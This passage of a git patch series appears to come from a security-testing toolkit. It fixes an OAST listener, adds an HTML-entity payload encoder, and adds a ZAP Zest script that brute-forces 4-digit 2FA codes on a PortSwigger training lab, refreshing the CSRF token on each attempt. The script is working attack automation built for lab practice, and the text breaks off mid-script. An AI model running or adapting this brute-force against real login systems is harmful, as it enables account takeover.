charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Timothée Ruffenach --- standalone/OAST_Listen_Burp_Colaborator.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/standalone/OAST_Listen_Burp_Colaborator.py b/standalone/OAST_Listen_Burp_Colaborator.py index 1b07c05f..91a299d9 100644 --- a/standalone/OAST_Listen_Burp_Colaborator.py +++ b/standalone/OAST_Listen_Burp_Colaborator.py @@ -61,7 +61,7 @@ def convertBase64(text): textBase64 += '=' * (4-padding) try: # Decode string - textDecode = base64.b64decode(textBase64).decode('utf-8') + textDecode = base64.b64decode(textBase64) return textDecode except Exception as e: if str(e) == 'Incorrect padding': From aaed85c69ac51c469b925d8ca573f6e554301f0b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Timoth=C3=A9e=20Ruffenach?= Date: Mon, 5 Jun 2023 15:03:55 +0200 Subject: [PATCH 15/29] OAST_Listen_Burp_Colaborator.py add decode MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Timothée Ruffenach --- standalone/OAST_Listen_Burp_Colaborator.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/standalone/OAST_Listen_Burp_Colaborator.py b/standalone/OAST_Listen_Burp_Colaborator.py index 91a299d9..eed58f96 100644 --- a/standalone/OAST_Listen_Burp_Colaborator.py +++ b/standalone/OAST_Listen_Burp_Colaborator.py @@ -61,7 +61,7 @@ def convertBase64(text): textBase64 += '=' * (4-padding) try: # Decode string - textDecode = base64.b64decode(textBase64) + textDecode = base64.b64decode(textBase64).decode("ascii") return textDecode except Exception as e: if str(e) == 'Incorrect padding': From eb53c3de07710207799ee9cca27d6243b9a0cae2 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Timoth=C3=A9e=20Ruffenach?= Date: Mon, 5 Jun 2023 21:23:55 +0200 Subject: [PATCH 16/29] add full_HTML_encode.py to payloadprocessor MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Timothée Ruffenach --- payloadprocessor/full_HTML_encode.py | 14 ++++++++++++++ 1 file changed, 14 insertions(+) create mode 100644 payloadprocessor/full_HTML_encode.py diff --git a/payloadprocessor/full_HTML_encode.py b/payloadprocessor/full_HTML_encode.py new file mode 100644 index 00000000..cfa1eb64 --- /dev/null +++ b/payloadprocessor/full_HTML_encode.py @@ -0,0 +1,14 @@ +# @author RUFFENACH timothée +# Version 1.0 +# encode payload to full HTML encode + +def process(payload): + payloadEncode="" + + # convert to full HTML + for i in payload: + payloadEncode += "&#" + payloadEncode += str(ord(i)) + payloadEncode += ";" + + return payloadEncode From e13d5fc45995b3c334cc2fb20b841104d6e4145c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Timoth=C3=A9e=20Ruffenach?= Date: Thu, 8 Jun 2023 21:42:40 +0200 Subject: [PATCH 17/29] resolve issue to fileActions in Json tab MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Timothée Ruffenach --- standalone/fileActions.py | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/standalone/fileActions.py b/standalone/fileActions.py index e6bb78d8..aa0beb7b 100644 --- a/standalone/fileActions.py +++ b/standalone/fileActions.py @@ -127,15 +127,15 @@ def fonction_option3(self): dataJson.append("[\n") for i in range(len(data)): - dataJson.append("\""+data[i].rstrip('\n')+"\",\n") - + if(i < len(data)-1): + dataJson.append("\""+data[i].rstrip('\n')+"\",\n") + else: + dataJson.append("\""+data[i].rstrip('\n')+"\"\n") + dataJson.append("]\n") - - self.saveFile(dataJson) - - + # get number line file def getNumberLine(self,filePath): nb_line = 0 From c1028bcefc22d392517315dbb1acf39569996fa5 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Timoth=C3=A9e=20Ruffenach?= Date: Wed, 14 Jun 2023 10:15:45 +0200 Subject: [PATCH 18/29] add 2FABypassBruteForceLabAcademy.zst to standalone MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Timothée Ruffenach --- standalone/2FABypassBruteForceLabAcademy.zst | 489 +++++++++++++++++++ 1 file changed, 489 insertions(+) create mode 100644 standalone/2FABypassBruteForceLabAcademy.zst diff --git a/standalone/2FABypassBruteForceLabAcademy.zst b/standalone/2FABypassBruteForceLabAcademy.zst new file mode 100644 index 00000000..229a05d4 --- /dev/null +++ b/standalone/2FABypassBruteForceLabAcademy.zst @@ -0,0 +1,489 @@ +{ + "about": "This is a Zest script. For more details about Zest visit https://github.com/zaproxy/zest/", + "zestVersion": "0.8", + "title": "test3.zst", + "description": "", + "prefix": "https://0ae2002603a306668094db77005f002c.web-security-academy.net", + "type": "StandAlone", + "parameters": { + "tokenStart": "{{", + "tokenEnd": "}}", + "tokens": {}, + "elementType": "ZestVariables" + }, + "statements": [ + { + "set": { + "start": 0, + "end": 9999, + "step": 2, + "elementType": "ZestLoopTokenIntegerSet" + }, + "statements": [ + { + "rootExpression": { + "length": 1, + "approx": 0, + "variableName": "test3", + "not": false, + "elementType": "ZestExpressionLength" + }, + "ifStatements": [ + { + "replace": "^", + "replacement": "000", + "regex": true, + "caseExact": false, + "variableName": "test3", + "index": 0, + "enabled": true, + "elementType": "ZestAssignReplace" + } + ], + "elseStatements": [ + { + "rootExpression": { + "length": 2, + "approx": 0, + "variableName": "test3", + "not": false, + "elementType": "ZestExpressionLength" + }, + "ifStatements": [ + { + "replace": "^", + "replacement": "00", + "regex": true, + "caseExact": false, + "variableName": "test3", + "index": 0, + "enabled": true, + "elementType": "ZestAssignReplace" + } + ], + "elseStatements": [ + { + "rootExpression": { + "length": 3, + "approx": 0, + "variableName": "test3", + "not": false, + "elementType": "ZestExpressionLength" + }, + "ifStatements": [ + { + "replace": "^", + "replacement": "0", + "regex": true, + "caseExact": false, + "variableName": "test3", + "index": 0, + "enabled": true, + "elementType": "ZestAssignReplace" + } + ], + "elseStatements": [], + "index": 6, + "enabled": true, + "elementType": "ZestConditional" + } + ], + "index": 4, + "enabled": true, + "elementType": "ZestConditional" + } + ], + "index": 1, + "enabled": true, + "elementType": "ZestConditional" + }, + { + "url": "https://0ac2002704a8b8be80c3675b00ec0015.web-security-academy.net/login", + "data": "", + "method": "GET", + "headers": "DNT: 1\r\nUpgrade-Insecure-Requests: 1\r\nSec-Fetch-Dest: document\r\nSec-Fetch-Mode: navigate\r\nSec-Fetch-Site: same-origin\r\nSec-Fetch-User: ?1\r\n", + "response": { + "url": "https://0a61007c043fda6880b2ad7f00cb005d.web-security-academy.net/login", + "headers": "HTTP/1.1 200 OK\nContent-Type: text/html; charset\u003dutf-8\nX-Frame-Options: SAMEORIGIN\nConnection: close\nContent-Length: 3154\n\n", + "body": "\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n \u003chead\u003e\n \u003clink href\u003d/resources/labheader/css/academyLabHeader.css rel\u003dstylesheet\u003e\n \u003clink href\u003d/resources/css/labs.css rel\u003dstylesheet\u003e\n \u003ctitle\u003e2FA bypass using a brute-force attack\u003c/title\u003e\n \u003c/head\u003e\n \u003cbody\u003e\n \u003cscript src\u003d\"/resources/labheader/js/labHeader.js\"\u003e\u003c/script\u003e\n \u003cdiv id\u003d\"academyLabHeader\"\u003e\n \u003csection class\u003d\u0027academyLabBanner\u0027\u003e\n \u003cdiv class\u003dcontainer\u003e\n \u003cdiv class\u003dlogo\u003e\u003c/div\u003e\n \u003cdiv class\u003dtitle-container\u003e\n \u003ch2\u003e2FA bypass using a brute-force attack\u003c/h2\u003e\n \u003ca class\u003dlink-back href\u003d\u0027https://portswigger.net/web-security/authentication/multi-factor/lab-2fa-bypass-using-a-brute-force-attack\u0027\u003e\n Back\u0026nbsp;to\u0026nbsp;lab\u0026nbsp;description\u0026nbsp;\n \u003csvg version\u003d1.1 id\u003dLayer_1 xmlns\u003d\u0027http://www.w3.org/2000/svg\u0027 xmlns:xlink\u003d\u0027http://www.w3.org/1999/xlink\u0027 x\u003d0px y\u003d0px viewBox\u003d\u00270 0 28 30\u0027 enable-background\u003d\u0027new 0 0 28 30\u0027 xml:space\u003dpreserve title\u003dback-arrow\u003e\n \u003cg\u003e\n \u003cpolygon points\u003d\u00271.4,0 0,1.2 12.6,15 0,28.8 1.4,30 15.1,15\u0027\u003e\u003c/polygon\u003e\n \u003cpolygon points\u003d\u002714.3,0 12.9,1.2 25.6,15 12.9,28.8 14.3,30 28,15\u0027\u003e\u003c/polygon\u003e\n \u003c/g\u003e\n \u003c/svg\u003e\n \u003c/a\u003e\n \u003c/div\u003e\n \u003cdiv class\u003d\u0027widgetcontainer-lab-status is-notsolved\u0027\u003e\n \u003cspan\u003eLAB\u003c/span\u003e\n \u003cp\u003eNot solved\u003c/p\u003e\n \u003cspan class\u003dlab-status-icon\u003e\u003c/span\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/section\u003e\n \u003c/div\u003e\n \u003cdiv theme\u003d\"\"\u003e\n \u003csection class\u003d\"maincontainer\"\u003e\n \u003cdiv class\u003d\"container is-page\"\u003e\n \u003cheader class\u003d\"navigation-header\"\u003e\n \u003csection class\u003d\"top-links\"\u003e\n \u003ca href\u003d/\u003eHome\u003c/a\u003e\u003cp\u003e|\u003c/p\u003e\n \u003ca href\u003d\"/my-account\"\u003eMy account\u003c/a\u003e\u003cp\u003e|\u003c/p\u003e\n \u003c/section\u003e\n \u003c/header\u003e\n \u003cheader class\u003d\"notification-header\"\u003e\n \u003c/header\u003e\n \u003ch1\u003eLogin\u003c/h1\u003e\n \u003csection\u003e\n \u003cform class\u003dlogin-form method\u003dPOST action\u003d\"/login\"\u003e\n \u003cinput required type\u003d\"hidden\" name\u003d\"csrf\" value\u003d\"k3IFSvZarbztPrCztRgCDmezFpy1KXOX\"\u003e\n \u003clabel\u003eUsername\u003c/label\u003e\n \u003cinput required type\u003dusername name\u003d\"username\"\u003e\n \u003clabel\u003ePassword\u003c/label\u003e\n \u003cinput required type\u003dpassword name\u003d\"password\"\u003e\n \u003cbutton class\u003dbutton type\u003dsubmit\u003e Log in \u003c/button\u003e\n \u003c/form\u003e\n \u003c/section\u003e\n \u003c/div\u003e\n \u003c/section\u003e\n \u003cdiv class\u003d\"footer-wrapper\"\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/body\u003e\n\u003c/html\u003e\n", + "statusCode": 200, + "responseTimeInMs": 213, + "elementType": "ZestResponse" + }, + "assertions": [ + { + "rootExpression": { + "code": 200, + "not": false, + "elementType": "ZestExpressionStatusCode" + }, + "elementType": "ZestAssertion" + } + ], + "followRedirects": false, + "timestamp": 1686497551111, + "cookies": [], + "index": 2, + "enabled": true, + "elementType": "ZestRequest" + }, + { + "fieldDefinition": { + "formIndex": 0, + "fieldName": "csrf", + "elementType": "ZestFieldDefinition" + }, + "variableName": "csrf1", + "index": 3, + "enabled": true, + "elementType": "ZestAssignFieldValue" + }, + { + "url": "https://0ac2002704a8b8be80c3675b00ec0015.web-security-academy.net/login", + "data": "csrf\u003d{{csrf1}}\u0026username\u003dcarlos\u0026password\u003dmontoya", + "method": "POST", + "headers": "Content-Type: application/x-www-form-urlencoded\r\nContent-Length: 70\r\nOrigin: https://0a61007c043fda6880b2ad7f00cb005d.web-security-academy.net\r\nDNT: 1\r\nUpgrade-Insecure-Requests: 1\r\nSec-Fetch-Dest: document\r\nSec-Fetch-Mode: navigate\r\nSec-Fetch-Site: same-origin\r\nSec-Fetch-User: ?1\r\n", + "response": { + "url": "https://0a61007c043fda6880b2ad7f00cb005d.web-security-academy.net/login", + "headers": "HTTP/1.1 302 Found\nLocation: /login2\nSet-Cookie: session\u003dTsXGjkOG3T4NHNlXoBvLI5CCGPE9Vpiw; Secure; HttpOnly; SameSite\u003dNone\nX-Frame-Options: SAMEORIGIN\nConnection: close\nContent-Length: 0\n\n", + "body": "", + "statusCode": 302, + "responseTimeInMs": 172, + "elementType": "ZestResponse" + }, + "assertions": [ + { + "rootExpression": { + "code": 302, + "not": false, + "elementType": "ZestExpressionStatusCode" + }, + "elementType": "ZestAssertion" + } + ], + "followRedirects": false, + "timestamp": 1686497563613, + "cookies": [], + "index": 4, + "enabled": true, + "elementType": "ZestRequest" + }, + { + "url": "https://0ac2002704a8b8be80c3675b00ec0015.web-security-academy.net/login2", + "data": "", + "method": "GET", + "headers": "DNT: 1\r\nUpgrade-Insecure-Requests: 1\r\nSec-Fetch-Dest: document\r\nSec-Fetch-Mode: navigate\r\nSec-Fetch-Site: same-origin\r\nSec-Fetch-User: ?1\r\n", + "response": { + "url": "https://0a61007c043fda6880b2ad7f00cb005d.web-security-academy.net/login2", + "headers": "HTTP/1.1 200 OK\nContent-Type: text/html; charset\u003dutf-8\nX-Frame-Options: SAMEORIGIN\nConnection: close\nContent-Length: 3005\n\n", + "body": "\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n \u003chead\u003e\n \u003clink href\u003d/resources/labheader/css/academyLabHeader.css rel\u003dstylesheet\u003e\n \u003clink href\u003d/resources/css/labs.css rel\u003dstylesheet\u003e\n \u003ctitle\u003e2FA bypass using a brute-force attack\u003c/title\u003e\n \u003c/head\u003e\n \u003cbody\u003e\n \u003cscript src\u003d\"/resources/labheader/js/labHeader.js\"\u003e\u003c/script\u003e\n \u003cdiv id\u003d\"academyLabHeader\"\u003e\n \u003csection class\u003d\u0027academyLabBanner\u0027\u003e\n \u003cdiv class\u003dcontainer\u003e\n \u003cdiv class\u003dlogo\u003e\u003c/div\u003e\n \u003cdiv class\u003dtitle-container\u003e\n \u003ch2\u003e2FA bypass using a brute-force attack\u003c/h2\u003e\n \u003ca id\u003d\u0027lab-link\u0027 class\u003d\u0027button\u0027 href\u003d\u0027/\u0027\u003eBack to lab home\u003c/a\u003e\n \u003ca class\u003dlink-back href\u003d\u0027https://portswigger.net/web-security/authentication/multi-factor/lab-2fa-bypass-using-a-brute-force-attack\u0027\u003e\n Back\u0026nbsp;to\u0026nbsp;lab\u0026nbsp;description\u0026nbsp;\n \u003csvg version\u003d1.1 id\u003dLayer_1 xmlns\u003d\u0027http://www.w3.org/2000/svg\u0027 xmlns:xlink\u003d\u0027http://www.w3.org/1999/xlink\u0027 x\u003d0px y\u003d0px viewBox\u003d\u00270 0 28 30\u0027 enable-background\u003d\u0027new 0 0 28 30\u0027 xml:space\u003dpreserve title\u003dback-arrow\u003e\n \u003cg\u003e\n \u003cpolygon points\u003d\u00271.4,0 0,1.2 12.6,15 0,28.8 1.4,30 15.1,15\u0027\u003e\u003c/polygon\u003e\n \u003cpolygon points\u003d\u002714.3,0 12.9,1.2 25.6,15 12.9,28.8 14.3,30 28,15\u0027\u003e\u003c/polygon\u003e\n \u003c/g\u003e\n \u003c/svg\u003e\n \u003c/a\u003e\n \u003c/div\u003e\n \u003cdiv class\u003d\u0027widgetcontainer-lab-status is-notsolved\u0027\u003e\n \u003cspan\u003eLAB\u003c/span\u003e\n \u003cp\u003eNot solved\u003c/p\u003e\n \u003cspan class\u003dlab-status-icon\u003e\u003c/span\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/section\u003e\n \u003c/div\u003e\n \u003cdiv theme\u003d\"\"\u003e\n \u003csection class\u003d\"maincontainer\"\u003e\n \u003cdiv class\u003d\"container is-page\"\u003e\n \u003cheader class\u003d\"navigation-header\"\u003e\n \u003csection class\u003d\"top-links\"\u003e\n \u003ca href\u003d/\u003eHome\u003c/a\u003e\u003cp\u003e|\u003c/p\u003e\n \u003ca href\u003d\"/my-account\"\u003eMy account\u003c/a\u003e\u003cp\u003e|\u003c/p\u003e\n \u003c/section\u003e\n \u003c/header\u003e\n \u003cheader class\u003d\"notification-header\"\u003e\n \u003c/header\u003e\n \u003cform class\u003dlogin-form method\u003dPOST\u003e\n \u003cinput required type\u003d\"hidden\" name\u003d\"csrf\" value\u003d\"eI5C9vCsTwtpHZ0njK01MyS7cOPE2PWu\"\u003e\n \u003clabel\u003ePlease enter your 4-digit security code\u003c/label\u003e\n \u003cinput required type\u003dtext name\u003dmfa-code\u003e\n \u003cbutton class\u003dbutton type\u003dsubmit\u003e Login \u003c/button\u003e\n \u003c/form\u003e\n \u003c/div\u003e\n \u003c/section\u003e\n \u003cdiv class\u003d\"footer-wrapper\"\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/body\u003e\n\u003c/html\u003e\n", + "statusCode": 200, + "responseTimeInMs": 313, + "elementType": "ZestResponse" + }, + "assertions": [ + { + "rootExpression": { + "code": 200, + "not": false, + "elementType": "ZestExpressionStatusCode" + }, + "elementType": "ZestAssertion" + } + ], + "followRedirects": false, + "timestamp": 1686497563907, + "cookies": [], + "index": 5, + "enabled": true, + "elementType": "ZestRequest" + }, + { + "fieldDefinition": { + "formIndex": 0, + "fieldName": "csrf", + "elementType": "ZestFieldDefinition" + }, + "variableName": "csrf2", + "index": 6, + "enabled": true, + "elementType": "ZestAssignFieldValue" + }, + { + "url": "https://0ac2002704a8b8be80c3675b00ec0015.web-security-academy.net/login2", + "data": "csrf\u003d{{csrf2}}\u0026mfa-code\u003d{{test3}}", + "method": "POST", + "headers": "Content-Type: application/x-www-form-urlencoded\r\nContent-Length: 51\r\nOrigin: https://0a61007c043fda6880b2ad7f00cb005d.web-security-academy.net\r\nDNT: 1\r\nUpgrade-Insecure-Requests: 1\r\nSec-Fetch-Dest: document\r\nSec-Fetch-Mode: navigate\r\nSec-Fetch-Site: same-origin\r\nSec-Fetch-User: ?1\r\n", + "response": { + "url": "https://0a61007c043fda6880b2ad7f00cb005d.web-security-academy.net/login2", + "headers": "HTTP/1.1 200 OK\nContent-Type: text/html; charset\u003dutf-8\nX-Frame-Options: SAMEORIGIN\nConnection: close\nContent-Length: 3073\n\n", + "body": "\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n \u003chead\u003e\n \u003clink href\u003d/resources/labheader/css/academyLabHeader.css rel\u003dstylesheet\u003e\n \u003clink href\u003d/resources/css/labs.css rel\u003dstylesheet\u003e\n \u003ctitle\u003e2FA bypass using a brute-force attack\u003c/title\u003e\n \u003c/head\u003e\n \u003cbody\u003e\n \u003cscript src\u003d\"/resources/labheader/js/labHeader.js\"\u003e\u003c/script\u003e\n \u003cdiv id\u003d\"academyLabHeader\"\u003e\n \u003csection class\u003d\u0027academyLabBanner\u0027\u003e\n \u003cdiv class\u003dcontainer\u003e\n \u003cdiv class\u003dlogo\u003e\u003c/div\u003e\n \u003cdiv class\u003dtitle-container\u003e\n \u003ch2\u003e2FA bypass using a brute-force attack\u003c/h2\u003e\n \u003ca id\u003d\u0027lab-link\u0027 class\u003d\u0027button\u0027 href\u003d\u0027/\u0027\u003eBack to lab home\u003c/a\u003e\n \u003ca class\u003dlink-back href\u003d\u0027https://portswigger.net/web-security/authentication/multi-factor/lab-2fa-bypass-using-a-brute-force-attack\u0027\u003e\n Back\u0026nbsp;to\u0026nbsp;lab\u0026nbsp;description\u0026nbsp;\n \u003csvg version\u003d1.1 id\u003dLayer_1 xmlns\u003d\u0027http://www.w3.org/2000/svg\u0027 xmlns:xlink\u003d\u0027http://www.w3.org/1999/xlink\u0027 x\u003d0px y\u003d0px viewBox\u003d\u00270 0 28 30\u0027 enable-background\u003d\u0027new 0 0 28 30\u0027 xml:space\u003dpreserve title\u003dback-arrow\u003e\n \u003cg\u003e\n \u003cpolygon points\u003d\u00271.4,0 0,1.2 12.6,15 0,28.8 1.4,30 15.1,15\u0027\u003e\u003c/polygon\u003e\n \u003cpolygon points\u003d\u002714.3,0 12.9,1.2 25.6,15 12.9,28.8 14.3,30 28,15\u0027\u003e\u003c/polygon\u003e\n \u003c/g\u003e\n \u003c/svg\u003e\n \u003c/a\u003e\n \u003c/div\u003e\n \u003cdiv class\u003d\u0027widgetcontainer-lab-status is-notsolved\u0027\u003e\n \u003cspan\u003eLAB\u003c/span\u003e\n \u003cp\u003eNot solved\u003c/p\u003e\n \u003cspan class\u003dlab-status-icon\u003e\u003c/span\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/section\u003e\n \u003c/div\u003e\n \u003cdiv theme\u003d\"\"\u003e\n \u003csection class\u003d\"maincontainer\"\u003e\n \u003cdiv class\u003d\"container is-page\"\u003e\n \u003cheader class\u003d\"navigation-header\"\u003e\n \u003csection class\u003d\"top-links\"\u003e\n \u003ca href\u003d/\u003eHome\u003c/a\u003e\u003cp\u003e|\u003c/p\u003e\n \u003ca href\u003d\"/my-account\"\u003eMy account\u003c/a\u003e\u003cp\u003e|\u003c/p\u003e\n \u003c/section\u003e\n \u003c/header\u003e\n \u003cheader class\u003d\"notification-header\"\u003e\n \u003c/header\u003e\n \u003cform class\u003dlogin-form method\u003dPOST\u003e\n \u003cinput required type\u003d\"hidden\" name\u003d\"csrf\" value\u003d\"eI5C9vCsTwtpHZ0njK01MyS7cOPE2PWu\"\u003e\n \u003cp class\u003dis-warning\u003eIncorrect security code\u003c/p\u003e\n \u003clabel\u003ePlease enter your 4-digit security code\u003c/label\u003e\n \u003cinput required type\u003dtext name\u003dmfa-code\u003e\n \u003cbutton class\u003dbutton type\u003dsubmit\u003e Login \u003c/button\u003e\n \u003c/form\u003e\n \u003c/div\u003e\n \u003c/section\u003e\n \u003cdiv class\u003d\"footer-wrapper\"\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/body\u003e\n\u003c/html\u003e\n", + "statusCode": 200, + "responseTimeInMs": 208, + "elementType": "ZestResponse" + }, + "assertions": [], + "followRedirects": false, + "timestamp": 1686497569815, + "cookies": [], + "index": 7, + "enabled": true, + "elementType": "ZestRequest" + }, + { + "rootExpression": { + "code": 200, + "not": false, + "elementType": "ZestExpressionStatusCode" + }, + "ifStatements": [], + "elseStatements": [ + { + "url": "https://0ac2002704a8b8be80c3675b00ec0015.web-security-academy.net/my-account", + "data": "", + "method": "GET", + "headers": "DNT: 1\r\nUpgrade-Insecure-Requests: 1\r\nSec-Fetch-Dest: document\r\nSec-Fetch-Mode: navigate\r\nSec-Fetch-Site: same-origin\r\nSec-Fetch-User: ?1\r\n", + "response": { + "url": "https://0a4a00c20459b27582df383d0022002e.web-security-academy.net/my-account", + "headers": "HTTP/1.1 302 Found\nLocation: /login\nX-Frame-Options: SAMEORIGIN\nConnection: close\nContent-Length: 0\n\n", + "body": "", + "statusCode": 302, + "responseTimeInMs": 225, + "elementType": "ZestResponse" + }, + "assertions": [ + { + "rootExpression": { + "code": 302, + "not": false, + "elementType": "ZestExpressionStatusCode" + }, + "elementType": "ZestAssertion" + }, + { + "rootExpression": { + "length": 0, + "approx": 1, + "variableName": "response.body", + "not": false, + "elementType": "ZestExpressionLength" + }, + "elementType": "ZestAssertion" + } + ], + "followRedirects": false, + "timestamp": 1686664874167, + "cookies": [], + "index": 9, + "enabled": true, + "elementType": "ZestRequest" + }, + { + "index": 0, + "enabled": true, + "elementType": "ZestControlLoopBreak" + } + ], + "index": 8, + "enabled": true, + "elementType": "ZestConditional" + }, + { + "operandA": "{{test3}}", + "operandB": "1", + "operation": "add", + "variableName": "test3", + "index": 1, + "enabled": true, + "elementType": "ZestAssignCalc" + }, + { + "rootExpression": { + "length": 1, + "approx": 0, + "variableName": "test3", + "not": false, + "elementType": "ZestExpressionLength" + }, + "ifStatements": [ + { + "replace": "^", + "replacement": "000", + "regex": true, + "caseExact": false, + "variableName": "test3", + "index": 2, + "enabled": true, + "elementType": "ZestAssignReplace" + } + ], + "elseStatements": [ + { + "rootExpression": { + "length": 2, + "approx": 0, + "variableName": "test3", + "not": false, + "elementType": "ZestExpressionLength" + }, + "ifStatements": [ + { + "replace": "^", + "replacement": "00", + "regex": true, + "caseExact": false, + "variableName": "test3", + "index": 3, + "enabled": true, + "elementType": "ZestAssignReplace" + } + ], + "elseStatements": [ + { + "rootExpression": { + "length": 3, + "approx": 0, + "variableName": "test3", + "not": false, + "elementType": "ZestExpressionLength" + }, + "ifStatements": [ + { + "replace": "^", + "replacement": "0", + "regex": true, + "caseExact": false, + "variableName": "test3", + "index": 4, + "enabled": true, + "elementType": "ZestAssignReplace" + } + ], + "elseStatements": [], + "index": 6, + "enabled": true, + "elementType": "ZestConditional" + } + ], + "index": 4, + "enabled": true, + "elementType": "ZestConditional" + } + ], + "index": 10, + "enabled": true, + "elementType": "ZestConditional" + }, + { + "fieldDefinition": { + "formIndex": 0, + "fieldName": "csrf", + "elementType": "ZestFieldDefinition" + }, + "variableName": "csrf3", + "index": 5, + "enabled": true, + "elementType": "ZestAssignFieldValue" + }, + { + "url": "https://0ac2002704a8b8be80c3675b00ec0015.web-security-academy.net/login2", + "data": "csrf\u003d{{csrf3}}\u0026mfa-code\u003d{{test3}}", + "method": "POST", + "headers": "Content-Type: application/x-www-form-urlencoded\r\nContent-Length: 51\r\nOrigin: https://0a61007c043fda6880b2ad7f00cb005d.web-security-academy.net\r\nDNT: 1\r\nUpgrade-Insecure-Requests: 1\r\nSec-Fetch-Dest: document\r\nSec-Fetch-Mode: navigate\r\nSec-Fetch-Site: same-origin\r\nSec-Fetch-User: ?1\r\n", + "response": { + "url": "https://0a61007c043fda6880b2ad7f00cb005d.web-security-academy.net/login2", + "headers": "HTTP/1.1 200 OK\nContent-Type: text/html; charset\u003dutf-8\nSet-Cookie: session\u003doZYEhi3lns1f3JuKtsDQpH35Wllwasyi; Secure; HttpOnly; SameSite\u003dNone\nX-Frame-Options: SAMEORIGIN\nConnection: close\nContent-Length: 3316\n\n", + "body": "\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n \u003chead\u003e\n \u003clink href\u003d/resources/labheader/css/academyLabHeader.css rel\u003dstylesheet\u003e\n \u003clink href\u003d/resources/css/labs.css rel\u003dstylesheet\u003e\n \u003ctitle\u003e2FA bypass using a brute-force attack\u003c/title\u003e\n \u003c/head\u003e\n \u003cbody\u003e\n \u003cscript src\u003d\"/resources/labheader/js/labHeader.js\"\u003e\u003c/script\u003e\n \u003cdiv id\u003d\"academyLabHeader\"\u003e\n \u003csection class\u003d\u0027academyLabBanner\u0027\u003e\n \u003cdiv class\u003dcontainer\u003e\n \u003cdiv class\u003dlogo\u003e\u003c/div\u003e\n \u003cdiv class\u003dtitle-container\u003e\n \u003ch2\u003e2FA bypass using a brute-force attack\u003c/h2\u003e\n \u003ca id\u003d\u0027lab-link\u0027 class\u003d\u0027button\u0027 href\u003d\u0027/\u0027\u003eBack to lab home\u003c/a\u003e\n \u003ca class\u003dlink-back href\u003d\u0027https://portswigger.net/web-security/authentication/multi-factor/lab-2fa-bypass-using-a-brute-force-attack\u0027\u003e\n Back\u0026nbsp;to\u0026nbsp;lab\u0026nbsp;description\u0026nbsp;\n \u003csvg version\u003d1.1 id\u003dLayer_1 xmlns\u003d\u0027http://www.w3.org/2000/svg\u0027 xmlns:xlink\u003d\u0027http://www.w3.org/1999/xlink\u0027 x\u003d0px y\u003d0px viewBox\u003d\u00270 0 28 30\u0027 enable-background\u003d\u0027new 0 0 28 30\u0027 xml:space\u003dpreserve title\u003dback-arrow\u003e\n \u003cg\u003e\n \u003cpolygon points\u003d\u00271.4,0 0,1.2 12.6,15 0,28.8 1.4,30 15.1,15\u0027\u003e\u003c/polygon\u003e\n \u003cpolygon points\u003d\u002714.3,0 12.9,1.2 25.6,15 12.9,28.8 14.3,30 28,15\u0027\u003e\u003c/polygon\u003e\n \u003c/g\u003e\n \u003c/svg\u003e\n \u003c/a\u003e\n \u003c/div\u003e\n \u003cdiv class\u003d\u0027widgetcontainer-lab-status is-notsolved\u0027\u003e\n \u003cspan\u003eLAB\u003c/span\u003e\n \u003cp\u003eNot solved\u003c/p\u003e\n \u003cspan class\u003dlab-status-icon\u003e\u003c/span\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/section\u003e\n \u003c/div\u003e\n \u003cdiv theme\u003d\"\"\u003e\n \u003csection class\u003d\"maincontainer\"\u003e\n \u003cdiv class\u003d\"container is-page\"\u003e\n \u003cheader class\u003d\"navigation-header\"\u003e\n \u003csection class\u003d\"top-links\"\u003e\n \u003ca href\u003d/\u003eHome\u003c/a\u003e\u003cp\u003e|\u003c/p\u003e\n \u003ca href\u003d\"/my-account\"\u003eMy account\u003c/a\u003e\u003cp\u003e|\u003c/p\u003e\n \u003c/section\u003e\n \u003c/header\u003e\n \u003cheader class\u003d\"notification-header\"\u003e\n \u003c/header\u003e\n \u003ch1\u003eLogin\u003c/h1\u003e\n \u003csection\u003e\n \u003cp class\u003dis-warning\u003eIncorrect security code\u003c/p\u003e\n \u003cform class\u003dlogin-form method\u003dPOST action\u003d\"/login\"\u003e\n \u003cinput required type\u003d\"hidden\" name\u003d\"csrf\" value\u003d\"Fb1D4p4cRTB0PhNdwVEIQ7UzjF3VXFbs\"\u003e\n \u003clabel\u003eUsername\u003c/label\u003e\n \u003cinput required type\u003dusername name\u003d\"username\"\u003e\n \u003clabel\u003ePassword\u003c/label\u003e\n \u003cinput required type\u003dpassword name\u003d\"password\"\u003e\n \u003cbutton class\u003dbutton type\u003dsubmit\u003e Log in \u003c/button\u003e\n \u003c/form\u003e\n \u003c/section\u003e\n \u003c/div\u003e\n \u003c/section\u003e\n \u003cdiv class\u003d\"footer-wrapper\"\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/body\u003e\n\u003c/html\u003e\n", + "statusCode": 200, + "responseTimeInMs": 169, + "elementType": "ZestResponse" + }, + "assertions": [], + "followRedirects": false, + "timestamp": 1686497575449, + "cookies": [], + "index": 6, + "enabled": true, + "elementType": "ZestRequest" + }, + { + "rootExpression": { + "code": 200, + "not": 